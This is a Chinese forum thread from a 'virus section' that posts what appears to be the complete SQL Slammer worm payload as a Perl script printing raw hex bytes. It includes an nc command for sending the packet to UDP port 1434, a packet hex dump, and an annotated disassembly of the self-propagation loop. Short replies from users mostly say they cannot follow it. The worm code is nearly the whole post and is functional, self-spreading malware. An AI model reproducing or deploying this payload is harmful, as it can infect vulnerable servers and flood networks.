论坛: 病毒专区 标题: 蠕虫病毒源代码 复制本贴地址    
作者: a101450948 [a101450948]    论坛用户   登录
本帖由 [日月双星] 从 << 菜鸟乐园>> 转移而来

病毒源代码如下:

  #!/usr/bin/perl

  ###############

  my $packet =

  "\x04\x01\x01\x01\x01\x01\x01\x01".

  "\x01\x01\x01\x01\x01\x01\x01\x01".

  "\x01\x01\x01\x01\x01\x01\x01\x01".

  "\x01\x01\x01\x01\x01\x01\x01\x01".

  "\x01\x01\x01\x01\x01\x01\x01\x01".

  "\x01\x01\x01\x01\x01\x01\x01\x01".

  "\x01\x01\x01\x01\x01\x01\x01\x01".

  "\x01\x01\x01\x01\x01\x01\x01\x01".

  "\x01\x01\x01\x01\x01\x01\x01\x01".

  "\x01\x01\x01\x01\x01\x01\x01\x01".

  "\x01\x01\x01\x01\x01\x01\x01\x01".

  "\x01\x01\x01\x01\x01\x01\x01\x01".

  "\x01\xdc\xc9\xb0\x42\xeb\x0e\x01".

  "\x01\x01\x01\x01\x01\x01\x70\xae".

  "\x42\x01\x70\xae\x42\x90\x90\x90".

  "\x90\x90\x90\x90\x90\x68\xdc\xc9".

  "\xb0\x42\xb8\x01\x01\x01\x01\x31".

  "\xc9\xb1\x18\x50\xe2\xfd\x35\x01".

  "\x01\x01\x05\x50\x89\xe5\x51\x68".

  "\x2e\x64\x6c\x6c\x68\x65\x6c\x33".

  "\x32\x68\x6b\x65\x72\x6e\x51\x68".

  "\x6f\x75\x6e\x74\x68\x69\x63\x6b".

  "\x43\x68\x47\x65\x74\x54\x66\xb9".

  "\x6c\x6c\x51\x68\x33\x32\x2e\x64".

  "\x68\x77\x73\x32\x5f\x66\xb9\x65".

  "\x74\x51\x68\x73\x6f\x63\x6b\x66".

  "\xb9\x74\x6f\x51\x68\x73\x65\x6e".

  "\x64\xbe\x18\x10\xae\x42\x8d\x45".

  "\xd4\x50\xff\x16\x50\x8d\x45\xe0".

  "\x50\x8d\x45\xf0\x50\xff\x16\x50".

  "\xbe\x10\x10\xae\x42\x8b\x1e\x8b".

  "\x03\x3d\x55\x8b\xec\x51\x74\x05".

  "\xbe\x1c\x10\xae\x42\xff\x16\xff".

  "\xd0\x31\xc9\x51\x51\x50\x81\xf1".

  "\x03\x01\x04\x9b\x81\xf1\x01\x01".

  "\x01\x01\x51\x8d\x45\xcc\x50\x8b".

  "\x45\xc0\x50\xff\x16\x6a\x11\x6a".

  "\x02\x6a\x02\xff\xd0\x50\x8d\x45".

  "\xc4\x50\x8b\x45\xc0\x50\xff\x16".

  "\x89\xc6\x09\xdb\x81\xf3\x3c\x61".

  "\xd9\xff\x8b\x45\xb4\x8d\x0c\x40".

  "\x8d\x14\x88\xc1\xe2\x04\x01\xc2".

  "\xc1\xe2\x08\x29\xc2\x8d\x04\x90".

  "\x01\xd8\x89\x45\xb4\x6a\x10\x8d".

  "\x45\xb0\x50\x31\xc9\x51\x66\x81".

  "\xf1\x78\x01\x51\x8d\x45\x03\x50".

  "\x8b\x45\xac\x50\xff\xd6\xeb\xca";

  print $packet;

  # for testing in CLOSED network environments:

  # perl worm.pl | nc server 1434 -u -v -v -v

  data的部分内容:

  0000 d4c3b2a1 02000400 00000000 00000000 悦病............

  0010 88130000 01000000 0d40323e ff7b0200 .........@2>�{..

  0020 a2010000 a2010000 00e08121 e1660005 ?..?...?!�f..

  0030 dd79e870 08004500 01943127 00007411 �y�p..E...1'..t.

  0040 53ce9320 8178d1a6 da240fb0 059a0180 S? .x薛?.?...

  0050 65370401 01010101 01010101 01010101 e7..............

  0060 01010101 01010101 01010101 01010101 ................

  0070 01010101 01010101 01010101 01010101 ................

  0080 01010101 01010101 01010101 01010101 ................

  0090 01010101 01010101 01010101 01010101 ................

  00a0 01010101 01010101 01010101 01010101 ................

  00b0 010101dc c9b042eb 0e010101 01010101 ...苌�B?.......

  00c0 70ae4201 70ae4290 90909090 90909068 p�B.p�B........h

  00d0 dcc9b042 b8010101 0131c9b1 1850e2fd 苌�B?...1杀.P恺

  00e0 35010101 055089e5 51682e64 6c6c6865 5....P.�Qh.dllhe

  00f0 6c333268 6b65726e 51686f75 6e746869 l32hkernQhounthi

  0100 636b4368 47657454 66b96c6c 51683332 ckChGetTf�llQh32

  0110 2e646877 73325f66 b9657451 68736f63 .dhws2_f�etQhsoc

  0120 6b66b974 6f516873 656e64be 1810ae42 kf�toQhsend?.�B

  0130 8d45d450 ff16508d 45e0508d 45f050ff .E�P�.P.E�P.E�P�

  0140 1650be10 10ae428b 1e8b033d 558bec51 .P?.�B....=U.�Q

  0150 7405be1c 10ae42ff 16ffd031 c9515150 t.?.�B�.�?�QQP

  0160 81f10301 049b81f1 01010101 518d45cc .?....?...Q.E? 0170 508b45c0 50ff166a 116a026a 02ffd050 P.E�P�.j.j.j.��P

  0180 8d45c450 8b45c050 ff1689c6 09db81f3 .E�P.E�P�..??? 0190 3c61d9ff 8b45b48d 0c408d14 88c1e204  01a0 01c2c1e2 0829c28d 049001d8 8945b46a .铝?)?...?E�j

  01b0 108d45b0 5031c951 6681f178 01518d45 ..E�P1�Qf.�x.Q.E

  01c0 03508b45 ac50ffd6 ebca .P.E�P�蛛?

  Disassembly of section .data:

  00000000 <.data>:

    0: d4 c3 aam$0xffffffc3

    2: b2 a1 mov$0xa1,%dl

    4: 02 00 add(%eax),%al

    6: 04 00 add$0x0,%al

    8: 00 00 add%al,(%eax)

    a: 00 00 add%al,(%eax)

    c: 00 00 add%al,(%eax)

    e: 00 00 add%al,(%eax)

   10: 88 13 mov%dl,(%ebx)

   12: 00 00 add%al,(%eax)

   14: 01 00 add%eax,(%eax)

   16: 00 00 add%al,(%eax)

   18: 0d 40 32 3e ff  or $0xff3e3240,%eax

   1d: 7b 02 jnp0x21

   1f: 00 a2 01 00 00 a2 add%ah,0xa2000001(%edx)

   25: 01 00 add%eax,(%eax)

   27: 00 00 add%al,(%eax)

   29: e0 81 loopne 0xffffffac

   2b: 21 e1 and%esp,%ecx

   2d: 66  data16

   2e: 00 05 dd 79 e8 70 add%al,0x70e879dd

   34: 08 00 or %al,(%eax)

   36: 45  inc%ebp

   37: 00 01 add%al,(%ecx)

   39: 94  xchg  %eax,%esp

   3a: 31 27 xor%esp,(%edi)

   3c: 00 00 add%al,(%eax)

   3e: 74 11 je 0x51

   40: 53  push  %ebx

   41: ce  into

   42: 93  xchg  %eax,%ebx

   43: 20 81 78 d1 a6 da and%al,0xdaa6d178(%ecx)

   49: 24 0f and$0xf,%al

   4b: b0 05 mov$0x5,%al

   4d: 9a 01 80 65 37 04 01 lcall $0x104,$0x37658001

   54: 01 01 add%eax,(%ecx)

   56: 01 01 add%eax,(%ecx)

   58: 01 01 add%eax,(%ecx)

   5a: 01 01 add%eax,(%ecx)

   5c: 01 01 add%eax,(%ecx)

   5e: 01 01 add%eax,(%ecx)

   60: 01 01 add%eax,(%ecx)

   62: 01 01 add%eax,(%ecx)

   64: 01 01 add%eax,(%ecx)

   66: 01 01 add%eax,(%ecx)

   68: 01 01 add%eax,(%ecx)

   6a: 01 01 add%eax,(%ecx)

   6c: 01 01 add%eax,(%ecx)

   6e: 01 01 add%eax,(%ecx)

   70: 01 01 add%eax,(%ecx)

   72: 01 01 add%eax,(%ecx)

   74: 01 01 add%eax,(%ecx)

   76: 01 01 add%eax,(%ecx)

   78: 01 01 add%eax,(%ecx)

   7a: 01 01 add%eax,(%ecx)

   7c: 01 01 add%eax,(%ecx)

   7e: 01 01 add%eax,(%ecx)

   80: 01 01 add%eax,(%ecx)

   82: 01 01 add%eax,(%ecx)

   84: 01 01 add%eax,(%ecx)

   86: 01 01 add%eax,(%ecx)

   88: 01 01 add%eax,(%ecx)

   8a: 01 01 add%eax,(%ecx)

   8c: 01 01 add%eax,(%ecx)

   8e: 01 01 add%eax,(%ecx)

   90: 01 01 add%eax,(%ecx)

   92: 01 01 add%eax,(%ecx)

   94: 01 01 add%eax,(%ecx)

   96: 01 01 add%eax,(%ecx)

   98: 01 01 add%eax,(%ecx)

   9a: 01 01 add%eax,(%ecx)

   9c: 01 01 add%eax,(%ecx)

   9e: 01 01 add%eax,(%ecx)

   a0: 01 01 add%eax,(%ecx)

   a2: 01 01 add%eax,(%ecx)

   a4: 01 01 add%eax,(%ecx)

   a6: 01 01 add%eax,(%ecx)

   a8: 01 01 add%eax,(%ecx)

   aa: 01 01 add%eax,(%ecx)

   ac: 01 01 add%eax,(%ecx)

   ae: 01 01 add%eax,(%ecx)

   b0: 01 01 add%eax,(%ecx)

   b2: 01 dc add%ebx,%esp

   b4: c9  leave

   b5: b0 42 mov$0x42,%al

   b7: eb 0e jmp0xc7

   b9: 01 01 add%eax,(%ecx)

   bb: 01 01 add%eax,(%ecx)

   bd: 01 01 add%eax,(%ecx)

   bf: 01 70 ae add%esi,0xffffffae(%eax)

   c2: 42  inc%edx

   c3: 01 70 ae add%esi,0xffffffae(%eax)

   c6: 42  inc%edx

   c7: 90  nop

   c8: 90  nop

   c9: 90  nop

   ca: 90  nop

   cb: 90  nop

   cc: 90  nop

   cd: 90  nop

   --- start here

   ce: 90  nop

   cf: 68 dc c9 b0 42  push  $0x42b0c9dc

   d4: b8 01 01 01 01  mov$0x1010101,%eax

   d9: 31 c9 xor%ecx,%ecx

   db: b1 18 mov$0x18,%cl

   dd: 50  push  %eax

   de: e2 fd loop  0xdd

   e1: 35 01 01 01 05  xor$0x5010101,%eax

   e5: 50  push  %eax

   e6: 89 e5 mov%esp,%ebp

   e8: 51  push  %ecx

  在堆栈上面增加了一个极小的字符。

  起先,这些代码看起来很像这些:

  sendto00 cb

  socket00 d3

  ws2_32.d db

  ll00GetT e3

  ickCount eb

  0000kern f3

  el32.dll fb

  00000004

  ^ ebp

   e9: 68 2e 64 6c 6c  push  $0x6c6c642e

   ee: 68 65 6c 33 32  push  $0x32336c65

   f3: 68 6b 65 72 6e  push  $0x6e72656b

   f8: 51  push  %ecx

   f9: 68 6f 75 6e 74  push  $0x746e756f

   fe: 68 69 63 6b 43  push  $0x436b6369

  103: 68 47 65 74 54  push  $0x54746547

  108: 66 b9 6c 6c  mov$0x6c6c,%cx

  10c: 51  push  %ecx

  10d: 68 33 32 2e 64  push  $0x642e3233

  112: 68 77 73 32 5f  push  $0x5f327377

  117: 66 b9 65 74  mov$0x7465,%cx

  11b: 51  push  %ecx

  11c: 68 73 6f 63 6b  push  $0x6b636f73

  121: 66 b9 74 6f  mov$0x6f74,%cx

  125: 51  push  %ecx

  126: 68 73 65 6e 64  push  $0x646e6573

  12b: be 18 10 ae 42  mov$0x42ae1018,%esi

  # find sendto in ws2_32.dll

  130: 8d 45 d4 lea0xffffffd4(%ebp),%eax## ws2_32.dll:sendto

  133: 50  push  %eax

  134: ff 16 call  *(%esi)

  136: 50  push  %eax # SND2

  # find GetTickCount

  137: 8d 45 e0 lea0xffffffe0(%ebp),%eax## GetTickCount

  13a: 50  push  %eax

  13b: 8d 45 f0 lea0xfffffff0(%ebp),%eax## kernel32.dll

  13e: 50  push  %eax

  13f: ff 16 call  *(%esi)

  141: 50  push  %eax # GETT

  # GetProcAddr 显然是在不同的区域

  # 两个都进行尝试

  142: be 10 10 ae 42  mov$0x42ae1010,%esi # 尝试1

  147: 8b 1e mov(%esi),%ebx

  149: 8b 03 mov(%ebx),%eax

  14b: 3d 55 8b ec 51  cmp$0x51ec8b55,%eax

  150: 74 05 je 0x157

  152: be 1c 10 ae 42  mov$0x42ae101c,%esi # 尝试2

  157: ff 16 call  *(%esi)

  159: ff d0 call  *%eax # 调用GetTickCount

  15b: 31 c9 xor%ecx,%ecx

  15d: 51  push  %ecx #

  15e: 51  push  %ecx #

  15f: 50  push  %eax #

  # 0 ^ 0x9b040103 ^ 0x01010101 = 0x9a050002; this goes in

  # little-endian; 0x59a is 1434, our port and 0002 is the family

  # (AF_INET)

  160: 81 f1 03 01 04 9b xor$0x9b040103,%ecx

  166: 81 f1 01 01 01 01 xor$0x1010101,%ecx

  16c: 51  push  %ecx

  16d: 8d 45 cc lea0xffffffcc(%ebp),%eax # socket

  170: 50  push  %eax

  171: 8b 45 c0 mov0xffffffc0(%ebp),%eax # handle; SND2

  174: 50  push  %eax

  175: ff 16 call  *(%esi)

  177: 6a 11 push  $0x11 # 协议 17 - udp

  179: 6a 02 push  $0x2 #

  17b: 6a 02 push  $0x2 # AF_INET

  17d: ff d0 call  *%eax # 调用socket

  17f: 50  push  %eax

  180: 8d 45 c4 lea0xffffffc4(%ebp),%eax

  183: 50  push  %eax

  184: 8b 45 c0 mov0xffffffc0(%ebp),%eax

  187: 50  push  %eax

  188: ff 16 call  *(%esi)

  # 它准备在这一点上调用sendto

  # 它并没有将它的功能利用到极限,因此此蠕虫的作者还是手下留情了。

  # 在迫使它返回到0xffffffb4(%ebp)之前,它仅仅是围绕一个地址来进行攻击。

  # 这种破坏也是确保了它能够在调用GetTickCount之外进行循环。

  # 再循环一次,就可以得到另外一个地址。

  # 随机调用很可能是在下面这段代码上:

  18a: 89 c6 mov%eax,%esi # move sendto addr

  18c: 09 db or %ebx,%ebx # for mangling

  18e: 81 f3 3c 61 d9 ff xor$0xffd9613c,%ebx

  # 循环的开始

  194: 8b 45 b4 mov0xffffffb4(%ebp),%eax # mov addr to eax

  197: 8d 0c 40 lea(%eax,%eax,2),%ecx # mangle the address.

  19a: 8d 14 88 lea(%eax,%ecx,4),%edx

  19d: c1 e2 04 shl$0x4,%edx

  1a0: 01 c2 add%eax,%edx

  1a2: c1 e2 08 shl$0x8,%edx

  1a5: 29 c2 sub%eax,%edx

  1a7: 8d 04 90 lea(%eax,%edx,4),%eax

  1aa: 01 d8 add%ebx,%eax # okay done mangling

  1ac: 89 45 b4 mov%eax,0xffffffb4(%ebp)

  1af: 6a 10 push  $0x10 # length of the sockaddr

  1b1: 8d 45 b0 lea0xffffffb0(%ebp),%eax # b0 is where sockaddr starts

  1b4: 50  push  %eax # push sockaddr

  1b5: 31 c9 xor%ecx,%ecx

  1b7: 51  push  %ecx # flags - none

  1b8: 66 81 f1 78 01  xor$0x178,%cx # 376 bytes; the length

  1bd: 51  push  %ecx

  1be: 8d 45 03 lea0x3(%ebp),%eax # get the beginning of the buffer

  1c1: 50  push  %eax # push addr

  1c2: 8b 45 ac mov0xffffffac(%ebp),%eax # get socket handle

  1c5: 50  push  %eax #

  1c6: ff d6 call  *%esi # call sendto

  1c8: eb ca jmp0x194 # jump back and do this again

  
  



地主 发表时间: 04-08-19 14:00

回复: NickJ [jiangxiao]   论坛用户   登录
哈哈哈 病毒 还会说中文呀 厉害厉害.....

B1层 发表时间: 04-08-22 11:30

回复: lijingxi [lijingxi]   见习版主   登录
TO B2  没有看到前面#号么! 那表示注释!还病毒说中文!昏了!

B2层 发表时间: 04-08-22 18:06

回复: syhg [syhg]   论坛用户   登录
看不懂!

B3层 发表时间: 04-08-22 18:18

回复: legioncmdr [legioncmdr]   论坛用户   登录
什么语言编的

B4层 发表时间: 04-08-25 19:35

回复: lgf [lgf]   论坛用户   登录


B5层 发表时间: 04-08-26 11:45

回复: wq7777777 [wq7777777]   论坛用户   登录
哇噻,好高深也看不懂呀

B6层 发表时间: 04-08-27 16:42

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